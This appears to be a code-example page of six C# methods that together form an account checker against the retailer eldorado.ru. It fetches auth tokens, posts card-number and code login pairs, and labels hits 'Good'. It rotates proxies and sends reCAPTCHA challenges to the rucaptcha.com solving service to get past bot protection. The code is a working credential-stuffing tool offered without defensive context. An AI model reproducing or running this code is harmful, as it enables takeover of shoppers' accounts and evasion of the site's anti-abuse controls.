コード例 #1
0
        public static string Post(ReqCharacters characters, PostCharacters postCharacters)
        {
            string result = "";

            try
            {
                HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy);

                danni.AddHeader("Accept", "application/json, text/plain, */*");
                danni.AddHeader("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7");
                danni.AddHeader("Referer", "https://www.eldorado.ru/");
                danni.AddHeader("Authorization", "Bearer " + postCharacters.token);

                string json = "{\"user_login\":\"" +
                              postCharacters.card +
                              "\",\"user_password\":\"" +
                              postCharacters.code +
                              "\",\"g-recaptcha-response\":\"" +
                              postCharacters.captcha + "\"}";

                string response = danni.Post("https://www.eldorado.ru/_ajax/spa/auth/authentication.php", json, "application/json;charset=UTF-8").ToString();


                if (response.Contains("user"))
                {
                    result = "Good";
                }
            }
            catch { result = "Error"; }

            return(result);
        }
コード例 #2
0
        public static string GetAnswer(string idKey)
        {
            Thread.Sleep(60000);
            HttpRequest danni    = ReqCharacters.Req();
            string      response = danni.Get("http://rucaptcha.com/res.php?key=" + key + "&action=get&id=" + idKey).ToString();

            if (response.Contains("OK"))
            {
                response = response.Replace("OK|", "");
            }

            return(response);
        }
コード例 #3
0
        public static string Get(ReqCharacters characters, string url)
        {
            string result;

            try
            {
                HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy);
                danni.IgnoreProtocolErrors = false;
                danni.Proxy.ConnectTimeout = 3000;
                string response = danni.Get(url).ToString();
                result = response;
            }
            catch { result = "Bad"; }

            return(result);
        }
コード例 #4
0
        public static string GetToken(ReqCharacters characters)
        {
            string token;

            try
            {
                HttpRequest danni    = ReqCharacters.Req(characters.cookies, characters.proxy);
                string      response = danni.Get("https://www.eldorado.ru/_ajax/spa/auth/getToken.php").ToString();

                dynamic json = JObject.Parse(response);
                token = json.token;
            }
            catch { token = ""; }

            return(token);
        }
コード例 #5
0
        public static List <string> GetProxy()
        {
            HttpRequest danni    = ReqCharacters.Req();
            string      response = danni.Get("URL").ToString();

            List <string> proxyList = new List <string>();
            var           proxy     = JsonConvert.DeserializeObject <Dictionary <string, ResponseIP> >(response);

            int countProxy = proxy.Count - 1;

            for (int i = 2; i < countProxy; i++)
            {
                proxyList.Add(proxy[$"{i}"].ip + ":" + proxy[$"{i}"].port);
            }

            return(proxyList);
        }
コード例 #6
0
        public static string GetID(string sitekey)
        {
            HttpRequest danni    = ReqCharacters.Req();
            string      url      = "https://www.eldorado.ru/";
            string      response = danni.Get("http://rucaptcha.com/in.php?key=" + key + "&method=userrecaptcha&googlekey=" + sitekey + "&pageurl=" + url).ToString();

            string result;

            if (response.Contains("OK"))
            {
                response = response.Replace("OK|", "");
                result   = response;
            }
            else
            {
                result = "error";
            }

            return(result);
        }